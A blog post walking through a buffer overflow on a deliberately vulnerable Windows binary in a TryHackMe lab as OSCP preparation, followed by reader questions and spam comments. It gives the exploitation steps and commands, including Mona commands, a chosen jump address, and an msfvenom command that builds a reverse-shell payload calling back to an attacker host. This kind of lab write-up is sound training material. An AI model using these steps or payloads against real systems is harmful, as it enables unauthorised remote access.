- Get link
- X
- Other Apps
Blogs
- Get link
- X
- Other Apps
Buffer Overflow
This blog post is my attempt in trying to explain how to perform a buffer overflow in preparation for the OSCP. I have followed the cheat sheet written by Tib3rius and performed the buffer overflow on a vulnerable application in Tib3rius' Tryhackme room which can be found here. My favourite aspect of the OSCP and software security are low level attacks.
A medium level BOF challenge
Approx. 40 mins to complete
Image source from LiveOverflow.
Understand the vulnerable application.
Lets start by connecting to the target machine via RDP; this command allowed me to set appropriate resolution so I could read immunity debugger clearly.
We will then open Immunity debugger as an administrator, then open the binary oscp.exe (file>open>oscp.exe) and then press play. It is important to note that this application 'oscp.exe' could be any windows application that has this vulnerability.
Once the application is running, we want to set up a working folder for Mona; a powerful plugin for Immunity debugger which makes exploiting this buffer overflow much easier than what was taught in the OSCP. We can use the following command to setup this working folder.
!mona config -set workingfolder c:\mona\%p
From our attacking machine, once the oscp.exe binary is running, we can connect to it via Netcat and begin fuzzing the inputs. We can provide the application the HELP command to better understand what inputs the application accepts.
We can see from the above that the application accepts 10 different input commands, each command prepended with the string OVERFLOWX (X being an index from 1-10).Fuzzing the application
We want to fuzz each input of the application starting with the first (OVERFLOW1 [Value]). We will use the following python script to fuzz the application by sending it increasingly large input strings increasing by 100 bytes at a time. On line 10 we see that the string we send will be the string 'A' multiplied by the value of the counter that increases with each iteration by 100. The reason we do this is to see how the application handles and reacts when we supply it with a malformed or larger input string than what was expected.
When we run the fuzzer python script we will eventually cause the application to crash. We can see from the below that we have made many connections to the vulnerable application from our attacker machine.
We can see from the below output from our python script that we crashed the application at around 2000 bytes.
When we look at our debugger below, we can see the values '41414141' in the EIP register which is hexadecimal for AAAA. This indicates that the application buffer that handles user input was over written and overwrote the EIP register in memory with our input string.
Now we know that we can crash the application when we supply an input string of around 2000 bytes and we can overwrite the EIP. The next step is to replicate this crash and take control of this EIP register by placing a string of our choice in it.
Crash replication and controlling the EIP
We will create another script, which was supplied to us by Tib3rius in his cheat sheet which will allow us to replicate the crash the application and control the EIP register.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
!mona findmsp -distance 2400We can see below that the EIP offset is 1978. This is just the distance from the first character of our cyclic pattern payload we used to the characters that filled the EIP register.
We will now update our exploit code and set the offset variable to '1978' and our return variable to 'BBBB'. This offset variable will set our overflow variable with the correct number of 'A' values to reach the EIP register. The return variable set to 'BBBB' will place these characters into the EIP register.
We can see from the below, when we run our updated exploit, the values 42424242 are in the EIP register. We have successfully controlled the EIP register, we can now start to look at identifying bad characters.
Finding bad characters.
We now need to find any bad characters that may break the shellcode that we generate, the most common bad character is \x00 which is a null character. This character is used to terminate a string, so if we have \x00 in our shellcode, it may terminate early which is not what we want. We need to generate a file in immunity which is a byte array of bad characters excluding the most common bad character \x00.
!mona bytearray -b "\x00"
Below we can see the byte array of bad characters that immunity created.
We will now also generate an identical byte array of bad characters on our attacking machine using the script below.We do this so that we can run the exploit against the vulnerable application and identify any bad characters in our payload that may terminate our payload string prematurely.
We now restart the application oscp.exe in immunity debugger and run our exploit script and crash the application. When the immunity is in a paused state, we observe the memory address in the ESP register.
We take the memory address 019EFA30 and use it in a command we supply to Mona.
!mona compare -f C:\mona\oscp\bytearray.bin -a 019EFA30
We see above that the next bad character to remove is \x07. Below we can see that we remove this bad character from our payload in our exploit script.
Before we can re run this exploit, we need to regenerate our byte array in Mona and exclude the new bad character we found.
!mona bytearray -b "\x00\x07"
We will then re run this exploit script and crash the vulnerable application. When we crash the application, we will take the memory address of the ESP register again and use it to identify the remaining bad characters.
!mona compare -f C:\mona\oscp\bytearray.bin -a 019EFA30
After this cyclic process, we are able to identify four bad characters to be removed. When we check the memory comparison results we can see that the status is 'unmodified'.
Finding a jump point
We can use Mona once again to find a suitable jump point. We need to find an address that does not contain any of the identified bad characters; this address will be used in our exploit script so we need to ensure that the memory address will not affect the flow of execution.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Below we can see a number of addresses that we can use; we can chose the first address on the list for simplicity and ease.
The address we chose is 0x625011af. Because the system we are exploiting is a little-endian system, it stores the least-significant byte at the smallest address. We therefore will need to write the address backwards in our exploit script.
\xaf\x11\x50\x62
Generate the payload
We will now generate a reverse shell payload excluding all of our bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.90.230 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py
We will also prepend NOP's; No Operation instructions (\x90) which simply pass execution to the next instruction. We will use this to allow the CPU to move through the NOP's until the payload is reached. We add these as the stack pointer will now point far away enough from the shellcode so that the shellcode decoder does not corrupt the shellcode when the GetPC routine overwrites a few bytes on the stack.
Once we have added the padding, we can now finally for the last time run our exploit code and as we can see from the below, we receive a reverse shell and have completed this challenge. We now have a shell on the target machine.
Congratulations, we have finished the challenge. There are 9 more buffer overflows for you to try and a number of other vulnerable applications to exploit.
I hope I explained my method clearly and provided justified reasoning for the actions I took. If you would like to try this room yourself, go here! If you have any feedback, I would love to hear it as I want to keep improving.
- Get link
- X
- Other Apps
Comments
Hello thanks for the write up but i am lost in the part when you get the bad chars
ReplyDeletehow did you identify the bad chars in memory comparation.?
there has more than 6 bad chars but you use only 6
Hey, im really sorry for the late response. By this time I presume you have overcome this issue. But, if you generate the bad chars byte array and determine the first bad char, then remove this from your payload that you send to the vulnerable application. And regenerate this byte array in Immunity excluding this bad character and re run your payload, each time excluding the new bad char, one at a time from your payload and from the byte array im immunity. After 4 bad chars, you should see that the status is unmodified indicating that there are no more bad chars left to remove. This write up is only for overflow1 so the other overflows may have additional bad chars to identify.
DeleteHi,
ReplyDeleteI was wondering where is (padding) NOP Sled is located (above ESP)?
I dont quite understand this part - what i means - from THM:
"Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. "
And why we use 16 of them specifically?
WrentemAcons_yu Chris Endricko https://wakelet.com/wake/Qox_3bVGvGsTHjOZU5sRt
ReplyDeletetragserado
Thanks and that i have a swell offer you: What Is In House Renovation Loan house renovation cost
ReplyDelete